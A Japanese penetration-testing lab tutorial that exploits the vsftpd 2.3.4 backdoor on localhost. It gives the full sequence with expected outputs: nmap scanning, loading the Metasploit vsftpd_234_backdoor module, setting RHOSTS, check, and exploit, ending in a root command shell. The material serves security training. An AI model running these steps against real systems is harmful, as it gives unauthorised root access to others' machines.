はじめに
この実験では、ペネトレーションテスターの役割を担い、既知の脆弱性を一般的なサービスで悪用するために Metasploit Framework を使用する方法を学びます。具体的には、有名なバックドアを含む vsftpd(Very Secure FTP Daemon)バージョン 2.3.4 を標的とします。
Metasploit は、ハッキングを容易にする強力なオープンソースのペネトレーションテストフレームワークです。セキュリティ専門家にとって不可欠なツールです。標準的なペネトレーションテストプロセスに従います。つまり、標的をスキャンしてサービスを特定し、適切なエクスプロイトを見つけ、それを設定し、攻撃を実行して標的システムを制御下に置きます。この実験では、標的マシンはローカル環境(localhost)になります。
脆弱な vsftpd サービスを特定する
このステップでは、ペネトレーションテストの最初のフェーズである偵察(reconnaissance)を行います。目標は、標的をスキャンして開いているポートを発見し、それらのポートで実行されているサービスのバージョンを特定することです。この情報は、潜在的な脆弱性を見つけるために不可欠です。この目的のために、強力なネットワークスキャンツールである nmap を使用します。
まず、ターミナルを開きます。標的として機能するローカルマシンをスキャンします。ローカルマシンの IP アドレスは 127.0.0.1 です。
標的に対してサービスバージョン検出(-sV)を実行するために、以下の nmap コマンドを実行します。
nmap -sV 127.0.0.1
スキャンが完了すると、nmap は開いているポートと検出したサービスを報告します。この実験では、ポート 21 で実行されている FTP サービスに注目します。
出力は以下のようになります。FTP サービスのバージョン情報に注意してください。
Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds
出力は、ポート 21 で vsftpd 2.3.4 が実行されていることを明確に示しています。この特定のバージョンはバックドアを含んでいることが広く知られており、私たちのエクスプロイトにとって理想的な標的となります。
vsftpd_234_backdoor エクスプロイトモジュールを選択する
このステップでは、Metasploit Framework を起動し、vsftpd 2.3.4 サービスを攻撃するための適切なエクスプロイトモジュールを見つけます。
まず、Metasploit コンソールを起動します。バナーをスキップしてより速く開始するために、-q(quiet)フラグを使用します。
msfconsole -q
Metasploit がロードされると、msf6 > プロンプトが表示されます。ここで、vsftpd に関連するエクスプロイトを検索できます。search コマンドを使用します。
search vsftpd
Metasploit は一致するモジュールの一覧を表示します。vsftpd 2.3.4 のバックドア専用のエクスプロイトが表示されるはずです。
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
exploit/unix/ftp/vsftpd_234_backdoor モジュールがまさに私たちが求めているものです。「excellent」とランク付けされており、非常に信頼性が高いことを意味します。このモジュールをロードするには、use コマンドの後にモジュールの完全な名前、または検索結果の番号を使用します。
use exploit/unix/ftp/vsftpd_234_backdoor
コマンドを実行すると、プロンプトが msf6 exploit(unix/ftp/vsftpd_234_backdoor) > に変わり、エクスプロイトモジュールがアクティブになったことを示します。
RHOSTS オプションをターゲットの IP アドレスに設定する
このステップでは、エクスプロイトモジュールを設定します。ほとんどのモジュールでは、ターゲットの IP アドレスなどのオプションを設定する必要があります。
vsftpd_234_backdoor モジュールがロードされた状態で、show options コマンドを使用してそのオプションを表示できます。
show options
このコマンドは、このモジュールで利用可能なすべてのオプション、現在の設定、およびそれらが必須かどうかを示す表を表示します。
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
ご覧のとおり、RHOSTS(Remote Hosts)は必須ですが、値は設定されていません。これをターゲットマシンの IP アドレスである 127.0.0.1 に設定する必要があります。
set コマンドを使用して RHOSTS オプションを設定します。
set RHOSTS 127.0.0.1
オプションが正しく設定されたことを確認するには、再度 show options を実行します。RHOSTS に 127.0.0.1 という値が設定されていることがわかります。
check コマンドを使用してターゲットが脆弱かどうかを確認する
このステップでは、選択したエクスプロイトに対してターゲットが実際に脆弱かどうかを安全な方法でテストします。Metasploit は多くのモジュールに check コマンドを提供しており、これにより完全な攻撃を開始することなく脆弱性を検証できます。これは、検出やシステムクラッシュを回避するのに役立ちます。
エクスプロイトモジュールがターゲットの IP アドレスで設定されたので、単純に check コマンドを実行します。
check
Metasploit はターゲットサービスをプローブして、バックドアが存在するかどうかを判断しようとします。ターゲットが脆弱な場合、確認メッセージが表示されます。
[+] 127.0.0.1:21 - The target is vulnerable.
[+] The target is vulnerable. というメッセージは、127.0.0.1 上の vsftpd サービスにバックドアが存在することを確認します。これでエクスプロイトを開始する準備が整いました。ターゲットが脆弱でなかった場合、通常はターゲットがエクスプロイト可能ではないという報告がされます。
エクスプロイトを実行してコマンドシェルを取得する
このステップでは、エクスプロイトを実行してターゲットシステムへの不正アクセスを取得します。check コマンドでターゲットが脆弱であることを確認したので、エクスプロイトは成功するはずです。
攻撃を開始するコマンドは exploit です。エイリアスである run を使用することもできます。
exploit
Metasploit は、悪意のあるペイロードを vsftpd サービスに送信します。バックドアがトリガーされ、別のポート(この場合はポート 6200)でコマンドシェルが開かれます。Metasploit はこの新しいシェルに接続し、ターゲットへの直接コマンドラインアクセスを提供します。
出力は次のようになります。
[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400
これでターゲットマシン上のコマンドシェルが取得できました!プロンプトが消えていることに注意してください。ターゲットに直接ログインしたかのようにコマンドを実行できるようになりました。whoami コマンドを実行して、アクセスレベルを確認しましょう。
whoami
出力は次のようになります。
root
これにより、ルートシェルを取得し、ターゲットシステムを完全に制御できることが確認できました。シェルを終了して Metasploit プロンプトに戻るには、exit と入力します。
まとめ
この実験を無事に完了したことをお祝いします!Metasploit Framework を使用したペネトレーションテストの基本的なワークフローを学びました。
この実験では、以下のことを行いました。
nmapを使用して偵察を行い、脆弱なvsftpd 2.3.4サービスを特定しました。- Metasploit コンソールを起動し、関連するエクスプロイトを検索しました。
RHOSTSオプションを設定して、vsftpd_234_backdoorエクスプロイトモジュールを選択・設定しました。checkコマンドを使用して、ターゲットの脆弱性を安全に検証しました。exploitコマンドを実行して、ターゲットシステム上でルートレベルのコマンドシェルを取得しました。
この演習は、単純な未パッチの脆弱性がどのようにシステム全体の侵害につながるかを示しています。ソフトウェアを最新の状態に保つことの重要性と、倫理的なハッカーと悪意のある攻撃者の両方にとって Metasploit のようなツールの強力さを示しています。


